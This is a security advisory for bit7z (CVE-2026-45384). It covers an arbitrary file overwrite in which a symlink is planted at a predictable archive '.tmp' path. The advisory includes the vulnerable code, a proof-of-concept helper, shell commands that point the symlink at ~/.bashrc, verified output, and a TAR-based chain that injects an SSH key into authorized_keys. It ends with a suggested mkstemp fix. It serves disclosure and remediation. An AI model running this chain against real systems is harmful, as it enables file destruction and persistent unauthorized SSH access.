Skip to content

Arbitrary File Overwrite via Symlink Attack on Predictable Temp File During Archive Update

Moderate
rikyoz published GHSA-wjch-42rm-q53h May 15, 2026

Package

bit7z

Affected versions

<= 4.0.11

Patched versions

4.0.12

Description

Summary

When BitOutputArchive::compressToFile() updates an existing archive in-place, it writes compressed data to a predictable temp file at <archive_path>.tmp. The file is opened via std::ofstream::open() with std::ios::trunc, which follows symlinks unconditionally. No symlink check or O_NOFOLLOW protection is applied, and the createAlways=true flag skips the file-exists check entirely.

An attacker with write access to the archive directory can pre-place a symlink at <archive>.tmp pointing to an arbitrary target file. When a process subsequently updates the archive, the library follows the symlink and overwrites the target with archive data.

Escalation to persistent unauthorized access: When the archive format is TAR (uncompressed), the attacker's file content appears raw in the byte stream. By embedding an SSH public key as payload in the archive, the attacker can inject a valid SSH key into ~/.ssh/authorized_keys, OpenSSH skips binary TAR header lines and accepts the embedded key, granting persistent unauthorized SSH access.

This is not a race condition, the attacker places the symlink before the operation begins and it persists for the entire duration.

Affected platforms: Linux, macOS, BSD (any platform where symlinks exist and the archive directory is writable by multiple users)


Vulnerable Code

Step 1: Predictable temp path construction

File: src/bitoutputarchive.cpp, lines 176-181

fs::path outPath = outArchive;
if ( updatingArchive ) {
    outPath += ".tmp";   // predictable, attacker-controllable path
}
return bit7z::make_com< CFileOutStream, IOutStream >( outPath, updatingArchive );

When updatingArchive is true (i.e., BitArchiveEditor::applyChanges() or any in-place update), the temp path is always <archive_path>.tmp, trivially predictable.

Step 2: File opened without symlink protection

File: src/internal/cfileoutstream.cpp, lines 21-36

CFileOutStream::CFileOutStream( fs::path filePath, bool createAlways )
    : CStdOutStream( mFileStream ), mFilePath{ std::move( filePath ) } {
    std::error_code error;
    if ( !createAlways && fs::exists( mFilePath, error ) ) {      // [1]
        // ...throw BitException...
    }
    mFileStream.open( mFilePath, std::ios::binary | std::ios::trunc ); // [2]

[1] — When createAlways=true (which it is during archive updates), the existence check is completely skipped.

[2]std::ofstream::open() follows symlinks. On POSIX, this translates to open() without O_NOFOLLOW or O_EXCL. If the path is a symlink, the kernel resolves it and opens/truncates the target file.

Step 3: Post-compression rename

File: src/bitoutputarchive.cpp, lines 238-243

fs::path tmpFile = outFile;
tmpFile += ".tmp";
fs::rename( tmpFile, outFile, error );

After compression, the .tmp file (which is actually a symlink pointing to the victim file, now containing archive data) is renamed to the archive path. The victim file retains the corrupted archive content.


Proof of Concept

Scenario

A user (myuser) runs a backup service that uses bit7z to update .7z archives in a shared directory. An unprivileged attacker (testpoc_user) has write access to the same directory and pre-places a symlink to hijack the temp file.

Helper program

#include <bit7z/bitarchiveeditor.hpp>
#include <bit7z/bitarchivewriter.hpp>
#include <bit7z/bitexception.hpp>
#include <iostream>

using namespace bit7z;

int main(int argc, char* argv[]) {
    std::string mode = argv[1];
    std::string archive = argv[2];
    std::string file = argv[3];

    Bit7zLibrary lib{"/usr/lib/7zip/7z.so"};
    if (mode == "create") {
        BitArchiveWriter writer{lib, BitFormat::SevenZip};
        writer.addFile(file);
        writer.compressTo(archive);
    } else if (mode == "update") {
        BitArchiveEditor editor{lib, archive, BitFormat::SevenZip};
        editor.addFile(file);
        editor.applyChanges();  // triggers the vulnerability
    }
}

Exploitation steps

# Step 1: myuser creates a shared directory and initial archive
mkdir -p /tmp/shared_backup && chmod 777 /tmp/shared_backup
echo "backup data" > /tmp/data.txt
./helper create /tmp/shared_backup/data.7z /tmp/data.txt

# Step 2: testpoc_user (attacker) plants symlink at predictable .tmp path
sudo -u testpoc_user ln -sf /home/myuser/.bashrc /tmp/shared_backup/data.7z.tmp

# Step 3: myuser's service updates the archive
echo "new entry" > /tmp/extra.txt
./helper update /tmp/shared_backup/data.7z /tmp/extra.txt

# Step 4: Observe the damage
od -A x -t x1z -N 16 /home/myuser/.bashrc
# 000000 37 7a bc af 27 1c 00 04 ...  >7z..'...<

Verified Exploitation

Tested on: Debian 13 (kernel 6.12), bit7z v4.0.11, 7-Zip 25.01, GCC 14, x86_64.

Test 1: File Destruction (7z format)

An unprivileged user (testpoc_user, uid=1001) planted a symlink in a shared directory. When myuser (uid=1000) updated a 7z archive using BitArchiveEditor::applyChanges():

[*] Step 1: myuser creates archive
    Created /tmp/shared_backup/data.7z

[*] Step 2: testpoc_user (attacker) plants symlink
    /tmp/shared_backup/data.7z.tmp -> /home/myuser/.bashrc

[*] Original .bashrc:
    # ~/.bashrc: executed by bash(1) for non-login shells.
    ... (3757 bytes total)

[*] Step 3: myuser updates archive (simulating backup service)
    Updated /tmp/shared_backup/data.7z

[*] Step 4: Check .bashrc
    Size: 237 bytes (was 3757)
    Content: 37 7a bc af 27 1c 00 04 ... (7z archive binary data)

    *** /home/myuser/.bashrc OVERWRITTEN WITH 7z ARCHIVE DATA ***
    *** Attack by testpoc_user (uid=1001) against myuser (uid=1000) ***

Test 2: SSH Key Injection (TAR format — persistent unauthorized access)

When the application uses TAR format, the attacker can escalate from file destruction to attacker-controlled content injection. TAR stores file content uncompressed, so an SSH public key embedded as a payload file appears raw in the byte stream. OpenSSH's authorized_keys parser skips invalid/binary lines, accepting only valid key lines.

Attack chain:

  1. Attacker creates a TAR archive containing a file with their SSH public key (newline-prefixed)
  2. Attacker plants symlink: backup.tar.tmp → ~/.ssh/authorized_keys
  3. Victim's service updates the TAR archive via BitArchiveEditor::applyChanges()
  4. bit7z follows symlink → writes TAR data (headers + raw key) to authorized_keys
  5. OpenSSH parses the file line-by-line, skips binary TAR headers, finds valid key on line 3
[*] Step 1: Attacker creates TAR archive with SSH key payload
    Created TAR: /tmp/shared_backup_ssh/backup.tar

[*] Step 2: testpoc_user plants symlink:
    backup.tar.tmp -> /home/myuser/.ssh/authorized_keys

[*] Step 3: myuser's service updates the TAR archive
    Updated TAR: /tmp/shared_backup_ssh/backup.tar

[*] Step 4: Checking authorized_keys...
    Size: 3072 bytes

[*] SSH key parsing of corrupted authorized_keys:
    256 SHA256:Lpl8nm/Cg5+HSET6BUgyN2bZIUG4QriVOjnr5QELWek attacker@evil (ED25519)

[*] Attacker's key fingerprint:
    256 SHA256:Lpl8nm/Cg5+HSET6BUgyN2bZIUG4QriVOjnr5QELWek attacker@evil (ED25519)

    *** FINGERPRINTS MATCH ***
    *** ATTACKER'S SSH KEY INJECTED INTO myuser's authorized_keys ***
    *** testpoc_user can now SSH as myuser using /tmp/attacker_sshkey ***

The ssh-keygen -l -f verification confirms the corrupted authorized_keys file contains a valid, parseable SSH key matching the attacker's key pair. The attacker can now authenticate as the victim via SSH.

Kernel mitigation note

On Linux with fs.protected_symlinks=1 (default since kernel 3.6), this attack is blocked in sticky-bit directories (/tmp). However, it succeeds in:

  • Non-sticky shared directories (e.g., project folders, NFS mounts, shared data directories)
  • Directories without the sticky bit (any chmod 777 without +t)
  • Older kernels or systems with fs.protected_symlinks=0

Impact

Any application using bit7z to update archives in-place (BitArchiveEditor::applyChanges()) in a directory writable by multiple users is vulnerable. An attacker who can create files in the archive directory can overwrite arbitrary files owned by the process running the archive update.

Attack scenarios:

Target file Format Impact
~/.ssh/authorized_keys TAR Persistent unauthorized SSH access — attacker injects valid SSH key via raw TAR content
~/.ssh/authorized_keys 7z/zip Destroy SSH access (file corrupted with binary data)
Application config files Any Service disruption (binary data replaces valid config)
/etc/crontab, /etc/sudoers Any System disruption (if process runs as root)
Security config (hosts.deny, ACLs) Any Security controls disabled (config file destroyed)

Content control: With compressed formats (7z, zip, gzip), the overwritten content is binary archive data — the impact is file destruction. With uncompressed formats (TAR), the attacker's file content appears raw in the byte stream. This enables injecting controlled text (SSH keys, config directives) into target files whose parsers skip invalid lines — escalating from destruction to persistent unauthorized access.

Constraints:

  • Attacker must have write access to the directory containing the archive
  • A process must update (not create) an existing archive in that directory
  • Linux fs.protected_symlinks=1 blocks this in sticky-bit directories (but not other shared dirs)
  • The symlink target must be writable by the process performing the archive update

Suggested Remediation

Use mkstemp() for unpredictable temp file names

#include <cstdlib>
#include <unistd.h>

// Instead of: outPath += ".tmp";
std::string tmpTemplate = outArchive.string() + ".XXXXXX";
int fd = mkstemp(tmpTemplate.data());  // atomically creates unique file
if (fd < 0) { throw ...; }
// Convert fd to stream or use fdopen()

References

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

CVE ID

CVE-2026-45384

Weaknesses

Improper Link Resolution Before File Access ('Link Following')

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. Learn more on MITRE.

Insecure Temporary File

Creating and using insecure temporary files can leave application and system data vulnerable to attack. Learn more on MITRE.

Credits